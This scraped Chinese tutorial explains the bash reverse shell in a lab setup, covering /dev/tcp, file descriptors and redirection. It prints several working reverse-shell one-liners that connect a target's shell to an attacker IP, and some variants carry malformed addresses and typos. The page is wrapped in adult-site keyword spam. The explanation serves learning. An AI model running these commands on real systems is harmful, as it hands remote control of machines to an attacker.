日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術(shù)文章
文章詳情頁

淺析Linux之bash反彈shell原理

瀏覽:170日期:2024-04-10 16:46:01

環(huán)境

攻擊機(jī):kali ip:192.168.25.144

靶 機(jī):centos ip:192.168.25.142

過程

kali 監(jiān)聽本地8888端口

淺析Linux之bash反彈shell原理

靶機(jī) centos 寫入 反彈shell 的命令

bash -i >& /dev/tcp/192.168.25.144/8888 0>&1

淺析Linux之bash反彈shell原理

攻擊機(jī) kali 成功反彈shell

淺析Linux之bash反彈shell原理

原理

反彈shell往往是在攻擊者無法直接連接受害者的情況下進(jìn)行的操作,原因有很多,例如目標(biāo)是局域網(wǎng),或者開啟防火墻的某些策略等情況,而這時,我們就可以讓受害者主動向攻擊者發(fā)起連接,被控端發(fā)起請求到控制端某端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端,從而實(shí)現(xiàn)交互

我們將命令拆開

bash -i

/dev/tcp/192.168.25.144/8888

>& 0>&1

bash

Linux中一般默認(rèn)的shell是bash,它功能幾乎可以涵蓋shell所具有的功能,所以一般的shell腳本都會指定它為執(zhí)行路徑

常用的shell有 ash、bash、dash、ksh、csh、zsh 等,不同的shell都有自己的特點(diǎn)以及用途

查詢當(dāng)前shell命令 ls -l /bin/sh

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

bash -i 打開一個交互式的bash shell 如果有 -i 參數(shù),就是交互式的

交互的意思就是可以和用戶進(jìn)行交互,輸入命令,回顯給用戶就是一個交互的過程,而執(zhí)行一個shell腳本就是非交互的

使用命令 echo $- 可以查看是否是交互式shell

淺析Linux之bash反彈shell原理

有參數(shù) i ,是交互式的

執(zhí)行一個shell腳本

淺析Linux之bash反彈shell原理

無參數(shù) i ,非交互式

/dev目錄

dev是設(shè)備(device)的英文縮寫。這里主要存放與設(shè)備(包括外設(shè))有關(guān)的文件,Linux一切皆文件

/dev/tcp/是Linux中的一個特殊設(shè)備,打開這個文件就相當(dāng)于發(fā)出了一個socket調(diào)用,建立一個socket連接,讀寫這個文件就相當(dāng)于在這個socket連接中傳輸數(shù)據(jù)。同理,Linux中還存在/dev/udp/

/dev/tcp/192.168.25.144/8888

所以上述命令就是和192.168.25.144:8888建立TCP連接

文件描述符

Linux 系統(tǒng)中,把一切都看做是文件,當(dāng)進(jìn)程打開現(xiàn)有文件或創(chuàng)建新文件時,內(nèi)核向進(jìn)程返回一個文件描述符,文件描述符就是內(nèi)核為了高效管理已被打開的文件所創(chuàng)建的索引,用來指向被打開的文件。

所有執(zhí)行I/O操作的系統(tǒng)調(diào)用都會通過文件描述符,即文件描述符可控制輸入輸出(輸入/輸出重定向)

標(biāo)準(zhǔn)輸入(stdin): 代碼為 0 使用 < 或 << 默認(rèn)設(shè)備鍵盤

標(biāo)準(zhǔn)輸出(stdout): 代碼為 1 使用 > 或 >> 默認(rèn)設(shè)備顯示器

標(biāo)準(zhǔn)錯誤輸出(stderr): 代碼為 2 使用 2> 或 2>> 默認(rèn)設(shè)備顯示器

--- +--------+( 0 ) ---->|dev/tty0| 當(dāng)開啟一個終端時 默認(rèn)的文件描述符 指向 /dev/tty0(虛擬終端) --- +--------+ --- +--------+ ( 1 ) ---->|dev/tty0| --- +--------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+

大多數(shù)Linux 系統(tǒng)命令從你的終端接受輸入并將所產(chǎn)生的輸出發(fā)送回​​到您的終端。一個命令通常從一個叫標(biāo)準(zhǔn)輸入的地方讀取輸入,默認(rèn)情況下,這恰好是你的終端。同樣,一個命令通常將其輸出寫入到標(biāo)準(zhǔn)輸出,默認(rèn)情況下,這也是你的終端

淺析Linux之bash反彈shell原理

Shell 輸入/輸出重定向

我們讓上圖 輸出重定向

使用 1> 將輸出結(jié)果寫入到 指定文件中 文件不存在則創(chuàng)建文件,文件如果存在會覆蓋原文件內(nèi)容

省略不寫則默認(rèn)就是 1 同理,輸入重定向 0< 省略不寫則默認(rèn)就是 0

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

使用 >> 會追內(nèi)容在文件末尾

淺析Linux之bash反彈shell原理

結(jié)合上面建立的TCP連接

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

kali攻擊機(jī)收到

淺析Linux之bash反彈shell原理

結(jié)合bash -i

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

在kali得到命令執(zhí)行結(jié)果的回顯

淺析Linux之bash反彈shell原理

此時我們輸入name,可以看到,標(biāo)準(zhǔn)輸出錯誤并未被重定向

淺析Linux之bash反彈shell原理

--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+

輸入重定向

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

在kali攻擊機(jī),輸入

淺析Linux之bash反彈shell原理

靶機(jī)得到輸入指令,標(biāo)準(zhǔn)輸出(默認(rèn)終端)

淺析Linux之bash反彈shell原理

--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+

!!!!!!!!!!!!!!!

此時,我們只需要將

bash i > /dec/tcp/192.168.25.144/8888 bash i < /dec/tcp/192.168.25.144/8888 結(jié)合

實(shí)現(xiàn)在攻擊機(jī) kali 輸入 命令,在kali 機(jī) 得到命令回顯,實(shí)現(xiàn)了反彈shell

即 使用下面的命令

bash -i > /dev/tcp/192.168.25.144/8888 0>&1

效果 kali ip:192.168.25.140

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

此時靶機(jī)會輸出在攻擊機(jī)所輸入的命令,還有一個問題,標(biāo)準(zhǔn)錯誤輸出 并沒有重定向

淺析Linux之bash反彈shell原理

淺析Linux之bash反彈shell原理

補(bǔ)充:

bash 在執(zhí)行一條指令的時候,首先會檢查命令中存不存在重定向的符號,如果存在那么首先將文件描述符重定向,存在多個則從左往右依次執(zhí)行

標(biāo)準(zhǔn)輸出與標(biāo)準(zhǔn)錯誤輸出重定向

此時反彈shell語句里邊用到了 >& 操作符,>& 操作符在不同情況下有不通的含義

>&word 語法中,當(dāng)word是數(shù)字或 - 字符時,操作符 >& 表示復(fù)制 文件描述符

而文件描述符的復(fù)制格式有 num1<&num2 num1>&num2

這里兩個都是將文件描述符 num1 復(fù)制到 num2 ,兩者的區(qū)別是,前者是以只讀的形式打開,后者是以寫的形式打開

因此 num1<&num2 num1>&num2 是等價(jià)的(讀/寫方式打開對其沒有任何影響)

所以上述命令可以修改為 bash -i > /dev/tcp/192.168.25.144/8888 0<&1

所以 0>&1 或者 0<&1

是對文件描述符的拷貝,是將0[標(biāo)準(zhǔn)輸入]重定向到了1[標(biāo)準(zhǔn)輸出]指向的位置

此時1[標(biāo)準(zhǔn)輸出]指向的是socket連接文件(第一個 > )

重定向完成后,0[標(biāo)準(zhǔn)輸入]也指向了socket連接文件,所以我推測因?yàn)榭截悾栽瓨?biāo)準(zhǔn)輸出回顯到靶機(jī)上(kali上敲的命 令)

--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ ----> +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ +------------------+ --- +--------+ ( 2 ) ---->|dev/tty0| --- +--------+

此時標(biāo)準(zhǔn)錯誤輸出 依然未曾改變

>&word 語法中,當(dāng)word不是數(shù)字或 - 字符時 >& 表示將 標(biāo)準(zhǔn)錯誤輸出合并到標(biāo)準(zhǔn)輸出中

此時與操作符 &> 功能一樣 >&word 等價(jià)于 &> word 都相當(dāng)于> word 2>&1

當(dāng)執(zhí)行 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 命令時,效果如下 標(biāo)準(zhǔn)輸出錯誤并未被重定向

淺析Linux之bash反彈shell原理

所以我們執(zhí)行命令 bash -i > /dev/tcp/192.168.25.140/9999 0>&1 2>&1 或

bash -i >& /dev/tcp/192.168.25.140/9999 0>&1 均形成了一個閉合的回路 ,同樣,命令回顯到攻擊機(jī)上

淺析Linux之bash反彈shell原理

實(shí)現(xiàn)以下效果形成閉合,即可反彈shell ,而其他一些反彈命令,只要可以形成如下效果即可

--- +--------+( 0 ) ---->|dev/tty0| --- +--------+ --- +--------+ ----> +------------------+( 1 ) ---->|dev/tty0| ----> |/dev/tcp/host/port| --- +--------+ ----> +------------------+ / --- +--------+ /( 2 ) ---->|dev/tty0| / --- +--------+

bash -i >& /dev/tcp/192.168.146.25.144/8888 <&1

bash -i >& /dev/tcp/192.168.146.25.144/8888 <&2

bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&1

bash -i >& /dev/tcp/192.168.146.25.144/8888 0<&2

bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&1

bash -i >& /dev/tcp/192.168.146.25.144/8888 0>&2

bash -i > /dev/tcp/192.168.25.144/8888 0>&1 2>&1

本文借鑒了很多大佬的博客,如有更正的地方。還望指出

參考鏈接:

https://xz.aliyun.com/t/2549

https://www.gnu.org/software/bash/manual/html_node/Redirections.html

http://wiki.bash-hackers.org/howto/redirection_tutorial

https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/

到此這篇關(guān)于淺析Linux之bash反彈shell原理的文章就介紹到這了,更多相關(guān)Linux bash反彈shell內(nèi)容請搜索好吧啦網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持好吧啦網(wǎng)!

標(biāo)簽: Linux系統(tǒng)
相關(guān)文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
麻豆国产精品| 综合一区二区三区| 色8久久久久| 免费人成网站在线观看欧美高清| 久久aⅴ国产紧身牛仔裤| 六月天综合网| 7777精品| 麻豆mv在线观看| 亚洲天堂久久| 亚洲女人av| 欧美日本三区| 福利一区二区免费视频 | 中文字幕一区二区三区在线视频| 日本大胆欧美人术艺术动态| 日韩avvvv在线播放| 久久精品免费看| 日韩精品电影| 热久久免费视频| 麻豆精品少妇| 国产在线欧美| 日韩国产精品久久久| 国产一区二区三区四区| 亚洲成人精品| 日本午夜免费一区二区| 毛片在线网站| 亚洲aa在线| 国产精品专区免费| 免费在线观看视频一区| 免费视频一区二区三区在线观看 | 狠狠久久婷婷| 国产一卡不卡| 性欧美69xoxoxoxo| 91嫩草精品| 日韩精品水蜜桃| 欧美伊人影院| 日韩精品欧美| 欧美精品91| 老牛国产精品一区的观看方式| 国产精品入口久久| 午夜精品一区二区三区国产| 欧美精品97| 中文字幕av一区二区三区人| 国产精品专区免费| 中文字幕一区二区av| 国产精品毛片久久| 亚洲三级在线| 国产99精品| 精品视频亚洲| 亚洲九九精品| 亚洲欧美日本日韩| 伊人久久视频| 国产精品一在线观看| 中文字幕一区二区三区四区久久 | 国产黄大片在线观看| 天堂久久一区| 欧美特黄a级高清免费大片a级| 久久av国产紧身裤| 免费人成黄页网站在线一区二区 | 精品午夜久久| 日本欧美一区二区在线观看| 日韩午夜黄色| 91精品蜜臀一区二区三区在线| 18国产精品| 在线观看一区| 电影天堂国产精品| 欧美国产精品| 久久黄色影视| 日本亚洲不卡| 在线精品福利| 免费人成精品欧美精品| 亚洲女同中文字幕| 久久青草久久| 日韩精品第一区| 日韩国产激情| 日本а中文在线天堂| 成人在线黄色| 国产在线观看www| 精品国产a一区二区三区v免费| 国产毛片精品| 亚洲人成毛片在线播放女女| 好看不卡的中文字幕| 在线一区视频观看| av日韩中文| 人在线成免费视频| 日韩高清中文字幕一区二区| 成人精品高清在线视频| 精品三级在线| 高清久久精品| 日韩免费一区| 久久亚洲在线| 日韩视频免费| 免费黄网站欧美| 亚洲精品第一| 日韩二区在线观看| 一二三区精品| 日韩欧美另类中文字幕| **爰片久久毛片| 国产精品.xx视频.xxtv| 久久亚洲人体| 在线精品亚洲欧美日韩国产| 日韩电影免费网址| 亚洲性色视频| 麻豆精品网站| 日韩欧美高清一区二区三区| 青青草91视频| 精品国产日韩欧美精品国产欧美日韩一区二区三区| 欧美日韩国产一区二区在线观看| 国产视频一区二区在线播放| 欧美激情亚洲| 高清不卡一区| 1024精品一区二区三区| 亚洲一区网站| 欧美日韩 国产精品| 老牛国内精品亚洲成av人片| 亚洲国产成人二区| 1024精品久久久久久久久| 综合一区二区三区| 欧美激情网址| 亚洲午夜在线| 日韩高清不卡在线| 久久精品国内一区二区三区| 午夜欧美巨大性欧美巨大| 宅男在线一区| 中文字幕av一区二区三区四区| 日韩在线电影| 成人在线免费观看网站| 亚洲国产一区二区三区在线播放| 亚洲精品系列| 91亚洲国产成人久久精品| 欧美日韩一二三四| 蜜桃91丨九色丨蝌蚪91桃色| 国产精品调教| 999久久久国产精品| 亚洲毛片在线| 91一区二区三区四区| 在线亚洲免费| 国产亚洲精品精品国产亚洲综合| 狠狠躁少妇一区二区三区| 爽爽淫人综合网网站| 亚洲区第一页| 蜜桃成人精品| 日韩久久99| 成人免费电影网址| 四虎精品永久免费| 日韩精品诱惑一区?区三区| 亚洲色图综合| 黑人精品一区| 亚洲精品影院在线观看| 日韩精品永久网址| 青青青国产精品| 久久激情一区| 国产精品一区二区三区www | 久久国产欧美| 日本在线不卡视频| 色88888久久久久久影院| 日本综合精品一区| 视频福利一区| 国产精品流白浆在线观看| 日韩午夜高潮| 日韩欧美一区二区三区免费看| 日韩区欧美区| 午夜久久福利| 日韩欧美国产精品综合嫩v| 国产日韩免费| 视频一区视频二区中文字幕| 日韩精品dvd| 久久精品国产亚洲aⅴ| 日韩美女国产精品| 欧美 日韩 国产一区二区在线视频| 国产精品丝袜在线播放| 免费成人av在线播放| 成人久久一区| 欧美国产偷国产精品三区| 国产精品美女在线观看直播| 亚洲视频电影在线| 欧美另类专区| 亚洲不卡av不卡一区二区| 国产一区二区三区国产精品| 日韩精品中文字幕吗一区二区 | 亚洲香蕉网站| 综合日韩av| 欧美激情aⅴ一区二区三区 | 最新国产精品视频| 99香蕉国产精品偷在线观看 | 免费在线观看不卡| 婷婷综合网站| 99成人在线视频| 亚洲女同av| 欧美www视频在线观看| 国产精品夜夜夜| 国产一区 二区| 911亚洲精品| 欧美日韩xxxx| 国产欧美日韩一区二区三区在线| 亚洲精品在线二区| 在线精品福利| 日韩有吗在线观看| 日韩精品中文字幕一区二区| 深夜福利一区| 欧美一区精品|